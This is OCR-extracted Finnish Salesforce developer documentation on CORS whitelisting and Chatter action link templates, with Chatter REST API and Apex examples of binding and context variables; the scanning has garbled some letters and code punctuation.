Alkuperdn URL-kuvion tdytyy sisaltad HTTPS-protokolla (ellet kdyta localhostia) ja toimialuenimi,
ja se voi sisdltad portin. Erikoismerkkia (*) tuetaan ja sen tdytyy olla toimialueen nimen toista
tasoa ennen. Esimerkiksi https://*.esimerkki . com lisdd whitelist-luetteloon
esimerkki . com-toimialueen kaikki alatoimialueet.

EDITION-VERSIOT

Kéytettavissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettdvissd: Developer
Edition-, Enterprise Edition-,
Performance Edition- ja
Unlimited Edition
-versioissa

KAYTTJAOIKEUDET

Luominen, lukeminen,

pdivittdminen ja

poistaminen:

e Kaikkien tietojen
muokkausoikeus

Alkuperdn URL-kuvio voi olla IP-osoite. Samaan osoitteeseen ratkaistavat IP-osoite ja toimialue eivat kuitenkaan ole sama alkupers,

joten sinun taytyy lisatd ne CORS-whitelist-luetteloon erikseen.

@ Tarkedd: Sinun téytyy yhtd tarjota OAuth-valtuus sité vaativille pyynnoille.
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Toimintolinkkimallit
Luo toimintolinkkimalleja Maaritykset-valikossa, jotta voit luoda toimintolinkkiryhmid yhteisilla EDITION-VERSIOT
ominaisuuksilla Chatter REST API:sta tai Apexista. Voit pakata toimintolinkkimalleja ja jakaa niita

muille Salesforce-organisaatioille. Kayfettavissd: Salesforce

Toimintolinkki on syote-elementissd oleva painike. Toimintolinkin napsauttaminen voi siirtdd kayttéjan Classicissa ja Lightning
verkkosivulle, aloittaa tiedoston lataamisen tai kaynnistda APl-kutsun Salesforceen tai ulkoiselle Experiencessa
palvelimelle. Toimintolinkki sisdltad URL-osoitteen ja HTTP-metodin, ja se voi sisdltdd pyynnon Kaytettdivissa: Kaikissa
tekstiosan ja otsikon tiedot, kuten todennukseen kdytettdvan OAuth-valtuuden. Kaytd toimintolinkkeja versioissa paitsi Personal
integroidaksesi Salesforcen ja kolmansien osapuolten palveluita sy6tteeseen, jotta kayttdjdt voivat Edition.

tehdd toimintoja parantaakseen tuottavuuttaan ja kehittddkseen innovaatioita.

Tassd esimerkissa Approve ja Reject ovat toimintolinkkejd, jotka tekevat API-kutsuja fiktiivisen

matkailusivuston REST APLin hyvéksydkseen tai hyldtakseen matkasuunnitelman. Kun Pam loi matkasuunnitelmansa matkustussivustolla,
sivusto teki Chatter REST APl -pyynnon lahettddkseen sydkohteen toimintolinkeilla Pamin esimiehelle Kevinille, jotta han voisi hyvaksya
tai hyldtd matkasuunnitelman.

What | Follow

Pam Jones to
Kevin Bailey:

Just Now

Please approve this trip.

Dreamforce Trip
www.example.com

Approve Reject

@ Tarkedd: Toimintolinkit vaativat kehittdjien toimia. Vaikka voit luoda toimintolinkkimalleja Maaritykset-valikosta, sinun taytyy
kdyttad Apexia tai Chatter REST APl:a luodaksesi malleista toimintolinkkejd ja lisataksesi niitd syote-elementteihin.

TASSA OSIOSSA:

Toimintolinkkimallien suunnitteleminen

Harkitse ennen mallin luomista, mitka arvot haluat maarittda sille ja mitka arvot haluat maarittda binding-muuttujilla, kun luot
toimintolinkkiryhmid mallista.

Toimintolinkkimallien luominen

Luo toimintolinkkimalleja Madritykset-valikossa, jotta voit luoda toimintolinkkiryhmid yhteisilld ominaisuuksilla Chatter REST API:sta
tai Apexista. Voit pakata toimintolinkkimalleja ja jakaa niitd muille Salesforce-organisaatioille.

Toimintolinkkimallien muokkaaminen

Voit muokata julkaisemattoman toimintolinkkiryhmdan mallin ja siihen liittyvien toimintolinkkimallien kaikkia kenttia.
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Toimintolinkkiryhman mallien poistaminen

Sovellusten integrointi Salesforcen kanssa

Kun poistat toimintolinkkiryhmdn mallin, poistat siihen liittyvat toimintolinkkimallit ja kaikki malleista luodut toimintolinkkiryhmat.

Poistetut toimintolinkkiryhmdt katoavat kaikista syote-elementeistd, joihin ne on liitetty.

Toimintolinkkimallien pakkaaminen

Pakkaa toimintolinkkimalleja jakaaksesi niitd muille Salesforce-organisaatioille.

KATSO MYOS:

https://developer.salesforce.com/docs/atlas.en-us.chatterapi.meta/chatterapi/features_action_links.htm

https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/connectapi_features_action_links.htm

Toimintolinkkimallien suunnitteleminen

Harkitse ennen mallin luomista, mitka arvot haluat maarittaa sille ja mitké arvot haluat maarittaa binding-muuttujilla, kun luot
toimintolinkkiryhmid mallista.

Toimintolinkkimallien yhteenveto

Mallien suunnittelussa huomioitavia asioita
Toimintolinkkiryhmdn erd@ntymisajan madrittdminen
Binding-muuttujien maarittaminen

Valitse kuka voi nahda toimintolinkin

Context-muuttujien kayttaminen

Toimintolinkkimallien yhteenveto

Alla on toimintolinkkiryhmdn malli Maaritykset-valikossa:

Action Link Group Template
Edit

Information

Action Link Group  07gD00000004CEX
Template ID

Hame |Doc Example

APIName | Doc_Example
Category I Primary action =
Executions Allowed I Once perUser ~

Hours until
Expiration

Published

Save Save & New

Save Save & New

Cancel

Cancel

| = Reguired Information

Jokaisen toimintolinkkiryhman tulisi sisdltad vahintadn yksi toimintolinkki. Tdma toimintolinkkimallin esimerkki sisdltad kolme
binding-muuttujaa: APl-versionumero Toiminnon URL -kentdssa, Kohdenumero HTTP-pyynnén tekstiosa -kentdssd ja
OAuth-valtuusarvo HTTP-otsikko-kentassa.
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Action Link Template Edit Save || Save & New | | Cancel
Information | = Required Information
Action Link  Templates Overview Position |.|:|.
Group
Template
Action Type I AP - Label I Buy -
Key
Action URL | hitne ihwww.example.com Label

KBindings ApiVersion}items

HTTP | POST  ~ User | Everyone cansee -
Method Visibility

HTTP  rejtemNumber” : "{IBindings.ltemNumber}"} ~ Custom
Request User

Body Alias

HTTP Content-Type: applicationfjson
Headers 4 thorization: Bearer
{IBindings BearerToken}

Default Link ]
in Group

Confirmation |:|
Required

Chatter REST API -pyynt6 luoda toimintolinkkiryhma ja maarittaa binding-muuttujien arvot:

POST /connect/action-link-group-definitions

"templateId":"07gD00000004C9r",
"templateBindings": [
{
"key":"ApiVersion",
"value":"v1.0"

"key":"ItemNumber",
"value":"8675309"

"key":"BearerToken",

"value" :"00DRROO0O0O00ONOg!AROCAQMZYQtsP1Gs27EZ8h17vdpYXH505rv1VNprgTeDl12xY¥YnvygD3JgPnNR"
}
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Tama on Apex-koodi, joka luo toimintolinkkiryhman mallista ja madrittda binding-muuttujien arvot:

// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName="'Doc Example'];

// Add binding name-value pairs to a map.

Map<String, String> bindingMap = new Map<String, String>();

bindingMap.put ('ApiVersion', '1.0');

bindingMap.put ('ItemNumber', '8675309'");

bindingMap.put ('BearerToken',
'00DRRO000000NOg!ARCAQMZYyQtsP1Gs27EZ8h17vdpYXH505rv1VNprgqTeD12xYnvygD3JgPnNR") ;

// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput> () ;
for (String key : bindingMap.keySet()) {

ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput () ;

bindingInput.key = key;

bindingInput.value = bindingMap.get (key);

bindingInputs.add (bindingInput) ;

// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput () ;

actionLinkGroupDefinitionInput.templateld = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;

// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition (Network.getNetworkId(),
actionLinkGroupDefinitionInput) ;

Mallien suunnittelussa huomioitavia asioita
Ota huomioon seuraavat asiat suunnitellessasi malleja:
e Madrita toimintolinkkiryhman vanhenemisaika.

Lisatietoja on kohdassa Toimintolinkkiryhmdn eradntymisajan maarittaminen.

e Maaritd binding-muuttujat mallissa ja niiden arvot, kun luot ryhméan. Al tallenna malleihin luottamuksellisia tietoja. Kaytd
binding-muuttujia lisataksesi luottamuksellisia tietoja suorituksen aikana.

Lisatietoja on kohdassa Binding-muuttujien madrittdminen.
e Valitse, kuka voi ndhda toimintolinkin, kun se liitetdan syote-elementtiin.
Valitse, kuka voi ndhda toimintolinkin.

e Kdytd mallissa context-muuttujia hankkiaksesi tietoja toimintolinkin suorituksen kontekstista.

Kun toimintolinkki suoritetaan, Salesforce tdyttad arvot ja lahettad ne HTTP-pyynnossa. Lisatietoja on kohdassa Context-muuttujien
kdyttdminen.
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Toimintolinkkiryhmdn erGantymisajan madrittdminen

Kun toimintolinkkiryhmé luodaan mallista, erdéntymisaika voidaan laskea mallissa maaritetyn ajanjakson perusteella, tai toimintolinkkiryhmd
voidaan madrittad siten, ettei se erddnny koskaan.

Madrita mallin erdantymiseen tarvittavat tunnit syéttdmalld arvo toimintolinkkiryhman mallin Tunteja erdantymiseen -kenttddn.
Tama arvo on aika, joka kuluu toimintolinkkiryhman luomisesta sen poistamiseen siihen liittyvista syote-elementeistd, minkd jdlkeen
toimintolinkkiryhmda ei voida suorittaa. Enimmaisarvo on 8 760, joka on 365 pdivda.

Jos haluat mdarittdd toimintolinkkiryhmdn vanhenemisajan sen luonnin yhteydessd, mdaritd joko Action Link Group Definition -pyynnén
tekstiosan expirationDate-ominaisuus (Chatter REST API) tai ConnectApi .ActionLinkGroupDefinition-sydttoluokka
(Apex).

Jos haluat luoda toimintolinkkiryhmén, joka ei vanhene, &ld syotd arvoa mallin Tuntia vanhenemiseen -kenttddn dlakd
expirationDate-ominaisuuteen, kun luot toimintolinkkiryhmaa.

expirationDate ja Tunteja vanhenemiseen -kenttd toimivat yhdessd seuraavallatavalla, kun toimintolinkkiryhmaa luodaan
mallista:

® Jos expirationDate on maddritetty, sen arvoa kdytetddn uudessa toimintolinkkiryhmassd.

® Jos expirationDate-ominaisuutta ei ole mdaritetty, mutta Tunteja vanhenemiseen -kenttd on madritetty mallissa,
uudessa toimintolinkkiryhmdssd kdytetdadn Tunteja vanhenemiseen -kentdn arvoa.

e Josetmadritd expirationDate-ominaisuutta tai Tunteja vanhenemiseen -kentdn arvoa, mallista luodut
toimintolinkkiryhmat eivét vanhene.

Binding-muuttujien madrittdminen
Médrita mallien binding-muuttujat ja niiden arvot, kun luot toimintolinkkiryhmaa.

@ Tarkedd: Ald tallenna malleihin luottamuksellisia tietoja. Kayta binding-muuttujia lisdtaksesi luottamuksellisia tietoja suorituksen
aikana. Kun binding-muuttujan arvo on mdaritetty, se tallennetaan salatussa muodossa Salesforceen.

Voit madrittad binding-muuttujia toimintolinkkimallin Toiminnon URL-, HTTP-pyynnén tekstiosa-ja
HTTP-otsikot-kenttiin. Kun malli on julkaistu, voit muokata naitd kenttid, siirtda binding-muuttujia ndiden kenttien valilld ja poistaa
binding-muuttujia. Et voi kuitenkaan lisdta uusia binding-muuttujia.

Maadrita binding-muuttujan avain mallissa. Kun luot toimintolinkkiryhmada, madritd avain ja sen arvot.
Binding-muuttujien avaimet ovat muodossa { !Bindings.avain}.

Avain tukee Unicode-merkkejd, jotka on esimaaritetty \w-merkkiluokassa:
[\p{Alpha}\p{gc=Mn}\p{gc=Me}\p{gc=Mc}\p{Digit}\p{gc=Pc}].

Talld Toiminnon URL -kentdlld on kaksi binding-muuttujaa:
https://www.example.com/{!Bindings.ApiVersion}/items/{!Bindings.ItemId}
Talld HTTP-otsikot-kentdlld on kaksi binding-muuttujaa:

Authorization: OAuth {!Bindings.OAuthToken}
Content-Type: {!Bindings.ContentType}

Méadrita avaimet ja niiden arvot, kun luot toimintolinkkiryhmada Chatter REST APl:ssa:

POST /connect/action-link-group-definitions

"templateId":"07gD00000004C9r",
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"templateBindings" : [

{
"key":"ApiVersion",
"value":"1.0"

I

{
"key":"ItemId",
"value":"8675309"

I

{
"key":"OAuthToken",
"value":"00DRRO0O0O00OOONOg !..."

I

{
"key":"ContentType",
"value":"application/json"

}

Maadrita binding-muuttujien avaimet ja niiden arvot Apexissa:

Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put ('ApiVersion', '1.0');

bindingMap.put ('ItemId', '8675309"');

bindingMap.put ('OAuthToken', '0O0ODRRO00000ONOg !...");
bindingMap.put ('ContentType', 'application/json');
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs =
new List<ConnectApi.ActionLinkTemplateBindingInput>();

for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput () ;
bindingInput.key = key;
bindingInput.value = bindingMap.get (key) ;
bindingInputs.add (bindingInput) ;

// Define the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput =
new ConnectApi.ActionLinkGroupDefinitionInput () ;
actionLinkGroupDefinitionInput.templateId = '07gD00000004C9r";
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;

// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition (Network.getNetworkId(),
actionLinkGroupDefinitionInput) ;

O Vihje: Voit kdyttad samoja binding-muuttujia useampaan kertaan toimintolinkkimalleissa ja tarjota arvon vain kerran luomisen
yhteydessa. Voisit esimerkiksi kdyttad { ! Bindings.MyBinding}-muuttujaa kahdesti yhden toimintolinkkimallin
HTTP-pyynndén tekstiosa -kentdssa ja uudelleen saman toimintolinkkiryhman mallin toisen toimintolinkkimallin
HTTP-otsikot-kentdssd. Kun sitten luot toimintolinkkiryhman mallista, sinun tdytyy tarjota vain yksi arvo tdlle jaetulle muuttujalle.
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Valitse Kayttdjan nakyvyys -alasvetoluettelosta arvo maarittddksesi, kuka voi néhda toimintolinkin, kun se on liitetty syote-elementtiin.

Kéytettdvissd olevat vaihtoehdot ovat "Vain mukautettu kdyttdjd voi nahda" ja "Kaikki paitsi mukautettu kayttdja voivat ndhda". Valitse

toinen ndistd arvoista salliaksesi vain tiettyjen kayttdjien ndhdd toimintolinkin tai estadksesi tiettyja kdyttdjia ndkemdstd sitd. Syota sitten
arvo Mukautettu kayttajan alias -kenttadn. Tama arvo on binding-muuttujan avain. Kdytd avainta toimintolinkkiryhman
luovassa koodissa ja mdaritd sen arvo minkd tahansa binding-muuttujan tapaan.

Tama malli kdyttdd Mukautettu kdyttajan alias -arvona Kutsuttu:

Action Link Template Edit Save Save & New Cancel
Information | = Reguired Information
Action Link  Video Chat Position
Group
Template
Action Type I L - Label -
Key
Action URL | hitn e iiwww.example.comivideo_chat Label
HTTP | GET - user | Only custom user can see -
Method Vigibility
HTTP Custom
Request User
Body Alias
HTTP
Headers
Default Link []
in Group
Confirmation []
Required
Save Save & New Cancel

Kun luot toimintolinkkiryhmaa, maaritd arvo binding-muuttujan tapaan:

POST /connect/action-link-group-definitions

"templateId":"07gD00000004C9r",
"templateBindings" : [
{
"key":"Invitee",
"value":"005D00000017ubx"
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}

Jos mallikdyttad Vain luojan esimies voi nahda -arvoa, kayttdja, jolla ei ole esimiestd, nakee virheviestin luodessaan toimintolinkkiryhmaa
mallista. Lisdksi esimies on luomisen aikana ollut esimies. Jos kayttdjan esimies vaihtuu luonnin jalkeen, muutosta ei huomioida.

Context-muuttujien kdyttdminen

Kéyta context-muuttujia vdlittadksesi tietoja toimintolinkin suorittaneesta kayttdjdstd ja toimintolinkin kaynnistyksen asiayhteydestd
HTTP-pyyntdon, joka tehtiin toimintolinkkid kutsumalla. Voit kdyttda context-muuttujia Action Definition Input -pyynnén tekstiosan
actionUrl- headers-ja requestBody-ominaisuuksissatai ConnectApi.ActionLinkDefinitionInput-objektissa.

Voit kdyttdd context-muuttujia myds toimintolinkkimallien Toiminnon URL- HTTP-pyynnén tekstiosa-ja
HTTP-otsikot-kentissd. Kun malli on julkaistu, voit muokata ndita kenttid, esimerkiksi lisdamalla tai poistamalla context-muuttujia.

Kédytettavissa olevat context-muuttujat on kuvattu alla:

Context-muuttuja Kuvaus
{lactionLinkId} Kdyttdjan suorittaman toimintolinkin tunnus.
{lactionLinkGroupId} Kéyttdjan suorittaman toimintolinkin sisaltdvan

toimintolinkkiryhmadn tunnus.

{!communityId} Sen yhteisdn tunnus, jossa kayttaja suoritti toimintolinkin. Sisdisen
organisaatiosi arvo on tyhjd avain "000000000000000000".

{!communityUrl} Sen yhteison URL, jossa kayttaja suoritti toimintolinkin. Sisdisen
organisaatiosi arvo on tyhja merkkijono " .

{!orgId} Sen organisaation tunnus, jossa kdyttdja suoritti toimintolinkin.

{luserId} Toimintolinkin suorittaneen kdyttdjan tunnus.

Oletetaan esimerkiksi, ettd tydskentelet yhtidssa Survey Example ja luot Salesforce AppExchange -sovelluksen nimeltaan Survey Example
for Salesforce. Yhtio A on asentanut Survey Example for Salesforce -sovelluksesi. Kuvitellaan, ettd joku yhtidsta A siirtyy osoitteeseen
surveyexample.com ja vastaa kyselyyn. Survey Example -sovelluksesi koodi kayttad Chatter REST APl:a luodakseen yhtion A
Salesforce-organisaatioon sydtekohteen tekstilld Vastaa kyselyyn ja toimintolinkin otsikolla OK.

Tdmad UI-toimintolinkkisiirtad kdyttdjan Salesforcesta verkkosivustolle surveyexample.com vastaamaan kyselyyn.

Jos sisdllytdt context-muuttujan { 'userId} tdmdn toimintolinkin HTTP-pyynnén tekstiosa-tai Toiminnon URL
-kenttdan ja kayttdja napsauttaa toimintolinkkid sydtteestd, Salesforce lahettda linkkid napsauttaneen kdyttdjan tunnuksen palvelimellesi
ldhetettavassa HTTP-pyynnossa.

Jos siséllytdt context-muuttujan {!actionLinkId} palvelimen puoleiseen Survey Example -koodiin, joka luo toimintolinkin,
Salesforce Iahettda toimintolinkin tunnuksen sisaltavan HTTP-pyynnon, jonka voit tallentaa tietokantaasi.

Tama esimerkki sisaltad context-muuttujan { 'userId} toimintolinkkimallin Toiminnon URL -kentassa:
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Action Link Template Edit

Information

Action Link
Group
Template

Action Type

Action URL

HTTP
Method

HTTP
Request
Body

HTTP
Headers

Default Link
in Group

Confirmation
Required

Take Survey

| aPI

hitps:ifwww example.com

Save Save & New Cancel

Position

Label
Key

Label

IdoSunvey?surveyld=12348
salesforcelserld={luserld}

| GET

User
Visibility
Custom

User
Alias

Save Save & New Cancel

| = Required Information

| Everyone can see -

o Vihje: Voit kdyttad binding- ja context-muuttujia samassa kentdssd. Esimerkiksi tdma toiminnon URL sisdltaa sekd binding- etta

context-muuttujan:
https://www.esimerkki.com/{!Bindings.apiVersion}/doSurvey?salesforceUserId={!userId}
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Toimintolinkkimallien luominen

Luo toimintolinkkimalleja Maaritykset-valikossa, jotta voit luoda toimintolinkkiryhmid yhteisill EDITION-VERSIOT
ominaisuuksilla Chatter REST API:sta tai Apexista. Voit pakata toimintolinkkimalleja ja jakaa niita
muille Salesforce-organisaatioille.

Kéytettdvissd: Salesforce
@ Nofte: Voit luoda toimintolinkkimalleja Madritykset-valikon lisdksi myds Metadata APL:n, SOAP Classicissa ja Lightning

APLn ja REST APLn avulla. Experiencessa
Toiminnon URL-, HTTP-pyynndn tekstiosa-ja HTTP-otsikot-kentdt tukevat Kdytettdvissd: Kaikissa
binding-muuttujia ja context-muuttujia. Maarita mallin binding-muuttujat ja niiden arvot, kun luot versioissa paitsi Personal

toimintolinkkiryhmda. Jos kdytdt mallissa context-muuttujaa ja toimintolinkki suoritetaan, Salesforce Edition.

tayttad arvon ja palauttaa sen pyynndssa. Lisdtietoja ndiden muuttujien kayttamisesta mallissa on
kohdassa Toimintolinkkimallien suunnitteleminen. KAYTTJAOIKEUDET

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Toimintolinkkimallit javalitse

Toimintolinkkimallit. ToiminfolinkKiryhmien

mallien luominen:
2. Napsauta Uusi. e Sovelluksen

B e . . mukautusoikeus
3. Syotda mallille Nimi. Tdmad nimi ndytetddn toimintolinkkiryhmien mallien luettelossa.

Tama on ainoa toimintolinkkiryhman mallin arvo, jota voit muokata sen jalkeen, kun Toimintolinkkimallien

o .A S luominen:
toimintolinkkiryhman malli on julkaistu.
e Sovelluksen
4, SyStd Kehittajan nimi. Kdytd Kehittdjdn nimi-arvoa viitataksesi téhan malliin koodista. mukautusoikeus

Se muuttuu oletusarvoisesti Kehitt&jan nimi -versioksi, jossa ei ole valilydnteja. Vain
kirjaimet, numerot ja alaviivat sallitaan.

5. Valitse Luokka, joka osoittaa, missa luodut toimintolinkkiryhmdt ndytetaan syéte-elementeissa. Ensisijainen nayttaa
toimintolinkkiryhmat syGte-elementtien tekstiosassa. Overflow ndyttaa toimintolinkkiryhmadt syote-elementtien Overflow-valikossa.

Jos toimintolinkkiryhmdan mallin arvoksi on mdaritetty Ensisijainen, se voi sisdltad enintadn kolme toimintolinkkimallia. Jos
toimintolinkkiryhman mallin arvoksi on médritetty Overflow, se voi sisdltdd enintddn neljd toimintolinkkimallia.

6. Valitse Sallitut suoritukset -arvo,joka osoittaa, montako kertaa tasta mallista luodut toimintolinkkiryhmdt voidaan
suorittaa. (Ryhmassa olevat toimintolinkit ovat toisensa poissulkevia). Jos valitset Rajoittamaton, ryhmien toimintolinkkien tyyppi ei
voiolla Api tai ApiAsync.

7. (Valinnainen) Sy6td Tunteja erdantymiseen.Tamdarvoon aika,joka kuluu toimintolinkkiryhman luomisesta sen poistamiseen
siihen liittyvistd sy6te-elementeistd, minka jdlkeen toimintolinkkiryhmaa ei voida suorittaa. Enimmadisarvo on 8 760.

Lisatietoja on kohdassa Toimintolinkkiryhmén eradntymisajan maarittaminen.

8. Napsauta Tallenna.
9. Napsauta Uusi luodaksesi toimintolinkkimallin.

Toimintolinkkimalli liitetddn automaattisesti padtieto—lisatieto-suhteeseen toimintolinkkiryhman mallin kanssa.

10. Valitse Toiminnon tyyppi.
Arvot ovat:
e Api — Toimintolinkki kutsuu synkronoitua APl:a toiminnon URL-osoitteessa. Salesforce madrittda tilaksi SuccessfulStatus
tai FailedStatus palvelimesi palauttaman HTTP-tilakoodin perusteella.

e ApiSync — Toimintolinkki kutsuu ei-synkronoitua APl:a toiminnon URL-osoitteessa. Tama toiminto pysyy
PendingStatus-tilassa, kunnes kolmas osapuoli tekee pyynnén polkuun
/connect/action-links/toimintolinkinTunnus asettaakseen tilaksi SuccessfulStatus tai
FailedStatus, kun ei-synkronoitu toiminto on suoritettu.

142



Paranna Salesforcea koodilla Sovellusten integrointi Salesforcen kanssa

® Download — Toimintolinkki lataa tiedoston toiminnon URL-osoitteesta.

e Ui — Toimintolinkki siirtda kdyttdjan toiminnon URL-osoitteen verkkosivulle.

11.Sy6td Toiminnon URL,joka on toimintolinkin URL.
U I-toimintolinkin URL on verkkosivu. Down1oad-toimintolinkin URL on ladattavan tiedoston linkki. Ap1i- tai
ApiAsync-toimintolinkkien URL on REST-resurssi.

Salesforce-palvelimilla isénndityjen resurssien linkit voivat olla suhteellisia, jolloin ne alkavat /. Kaikkien muiden linkkien on oltava
absoluuttisia ja alkaa https: / /. Kentté voi sisdltad binding-muuttujia muodossa { ! Bindings.avain}, esimerkiksi
https://www.esimerkki.com/{!Bindings.itemId}.Madritad binding-muuttujanarvo, kun luot toimintolinkkiryhmaa
mallista, kuten tassa Chatter REST APl -esimerkissd, jossa itemId-arvoon 8675309.

POST /connect/action-link-group-definitions

"templateId" : "07gD00000004C9r",
"templateBindings" : [
{

"key":"itemId",
"value": "8675309"

}

Tama kenttd voi sisdltad myds context-muuttujia. Kdytd context-muuttujia valittadksesi tietoja toimintolinkin suorittaneesta kayttajasta
palvelimesi puoleiseen koodiin. Esimerkiksi tdmd toimintolinkki valittaa tunnuksen kayttajaltd, joka napsautti toimintolinkkia vastatakseen
kyselyyn. Tiedot ldhetetdan kyselyn isannoivalle palvelimelle.

actionUrl=https://example.com/doSurvey?surveyld=1234&salesforceUserId={!userId}

12. Sy6td HTTP-metodi, jota kdytetddn HTTP-pyynndn tekemiseen.
13. (Valinnainen) Jos Toiminnon tyyppi on Api tai ApiAsync,sydtda HTTP-pyynnén tekstiosa

Tama tiedosto voi sisdltad binding-muuttujia ja context-muuttujia.

14. (Valinnainen) Jos Toiminnon tyyppi On Api tai ApiAsync,sydtd HTTP-otsikot

Tama tiedosto voi sisdltad binding-muuttujia ja context-muuttujia.
Jos mallista luotu toimintolinkki tekee pyynnén Salesforce-resurssiin, mallilla taytyy olla sisdlt6tyyppinen otsikko.

15. (Valinnainen) Jos haluat tehdd tasta toimintolinkistd ryhmén oletuslinkin (jolla on erityinen muotoilu kdyttojdrjestelmassd), valitse
Ryhmén oletuslinkki.Ryhmadlld voiollavain yksi oletuslinkki.

16. (Valinnainen) Jos haluat ndyttda kayttajalle vahvistusikkunan ennen toimintolinkin suorittamista, valitse Vahvistus vaaditaan.

17. Syotd toimintolinkin suhteellinen Sijainti,jokatoimintolinkilld ontdstd mallista luodussa toimintolinkkiryhmdssa. Ensimmainen
sijainti on 0.

18. Syotd Otsikon avain.Tamdarvoon kdyttojarjestelman otsikoiden avain ndiden arvojen ndyttdmiseen: NewStatus, PendingStatus,
SuccessfulStatus, FailedStatus.

Esimerkiksi Post-joukko sisdltdd nama otsikot: Post, Post Pending, Posted, Post Failed. Tama kuva esittad toimintolinkin, jonka
otsikon avain on Post, kun tilan arvo on SuccessfulStatus:
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Pam Jones v
13m ago

Click to post a feed Item.

@ Posted

Performed by: Pam Jones

i Like

Write a comment...

19. (Valinnainen) Jos mikddn Otsikon awvain -arvoista ei sovi toimintolinkille, madritd Otsikon awvain -arvoksi Ei mitaan ja
sy6td arvo Ot sikko-kenttadn.

Toimintolinkeilld on nelja tilaa: NewStatus, PendingStatus, SuccessStatus ja FailedStatus. Nama merkkijonot lisatdan otsikkoon eri
tiloissa:

e otsikko

e otsikko Odottaa

e otsikko Onnistui

e otsikko Epdonnistui

Jos 1abel-arvo on esimerkiksi "Katso esimerkki", toimintolinkkien neljan tilan arvot ovat: Katso esimerkki, Katso esimerkki Odottaa,
Katso esimerkki Onnistui ja Katso esimerkki Epdonnistui.

Toimintolinkki voi kdyttda otsikoiden nimien luomiseen LabelKey- tai Label-parametrid, muta ei molempia.

20. Valitse Kayttajan nakyvyys maarittadksesi kuka voi ndhda toimintolinkkiryhman.
Jos valitset Vain luojan esimies voi nahda, esimieheksi katsotaan luojan esimies ajalta, kun toimintolinkkiryhmd luotiin. Jos luojan
esimies muuttuu toimintolinkkiryhman luomisen jalkeen, muutosta ei oteta huomioon.

21. (Valinnainen) Jos valitset Vain mukautettu kdyttdjd voi ndhda- tai Kaikki paitsi mukautettu kayttdja voivat nahdd -vaihtoehdon, syotd
Mukautetun kayttajan alias.

Kun luot toimintolinkkiryhmaa, syétd merkkijono ja sen arvo, aivan kuin tekisit maarittaessasi binding-muuttujan arvoa. Ald kuitenkaan
kdytd binding-muuttujan syntaksia mallissa, syotd vain arvo. Voit esimerkiksi sy6ttdd ExpenseApprover. Tdssd Chatter REST API
-esimerkissd ExpenseApprover-arvoon 005B0000000Gel6:

POST /connect/action-link-group-definitions

144



Paranna Salesforcea koodilla Sovellusten integrointi Salesforcen kanssa

"templateId" : "07gD00000004C9r",
"templateBindings" : [
{

"key":"ExpenseApprover",
"value": "005B0000000Gel6™

22. Jos haluat luoda toisen toimintolinkkimallin talle toimintolinkkiryhman mallille, napsauta Tallenna ja uusi.
23. Jos olet lisannyt jo kaikki haluamasi toimintolinkkimallit tdhan toimintolinkkiryhmdn malliin, napsauta Tallenna.

24. Jos haluat julkaista toimintolinkkiryhman mallin, napsauta Palaa luetteloon palataksesi Toimintolinkkiryhmdan malli -luettelondkymaan.

@ Tarkedd: Sinun taytyy julkaista malli ennen kuin voit luoda siitd toimintolinkkiryhmén Apexissa tai Chatter REST API:ssa.

25. Napsauta julkaistavan toimintolinkkiryhmdn mallin vierestd Muokkaa.

26. Valitse Julkaistu janapsauta Tallenna.

Toimintolinkkimallien muokkaaminen

Voit muokata julkaisemattoman toimintolinkkiryhmdan mallin ja siihen liittyvien toimintolinkkimallien EDITION-VERSIOT
kaikkia kenttid.

1. Kirjoita Maaritykset-valikon Pikahaku-kenttddn Toimintolinkkimallit ja valitse Kaytettavissa: Salesforce
Toimintolinkkimallit. Classicissa ja Lightning
L - ) ) . B, Experiencessa
2. Jos haluat muokata toimintolinkkiryhman mallia, napsauta Muokkaa sen nimen vieresta. P
Jos ryhmén mallia ei ole julkaistu, voit muokata mité tahansa kentt3a. Jos se on julkaistu, voit Kaytettavissa Kaikissa
muokata vain Nimi-kenttsa. versioissa paitsi Personal
Edition.

3. Toimintolinkkimallin muokkaaminen:

a. Napsauta sen toimintolinkkiryhman paamallin nimea. KAYTTJAOIKEUDET

b. Napsauta toimintolinkkimallin tunnusta avataksesi toimintolinkkimallin lisatietosivun.

Toimintolinkkiryhmien

¢. Napsauta Muokkaa. mallien muokkaaminen:
Jos toimintolinkkiryhman mallia ei ole julkaistu, voit muokata mitd tahansa kenttaa. Jos se * Sovelluksen
on julkaistu, voit muokata naité kenttia: mukautusoikeus

Toimintolinkkimallien
muokkaaminen:
e Sovelluksen
e HTTP-otsikot mukautusoikeus

¢ Toiminnon URL

®* HTTP-pyynnon tekstiosa

Nama kentdt tukevat context-muuttujia ja binding-muuttujia.
Voit lisétd ja poistaa kaikkien naiden kenttien context-muuttujia.

Et voi lisatd uutta binding-muuttujaa. Voit:

e Siirtda binding-muuttujan toiseen toimintolinkkimallin muokattavissa olevaan kenttaan.
e Kdyttad binding-muuttujaa useammin kuin kerran toimintolinkkimallissa.

e Kayttad binding-muuttujaa useammin kuin kerran missd tahansa toimintolinkkimallissa, jotka liittyvdt samaan
toimintolinkkiryhmdan malliin.

e Poistaa binding-muuttujia.
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Toimintolinkkiryhmé&n mallien poistaminen

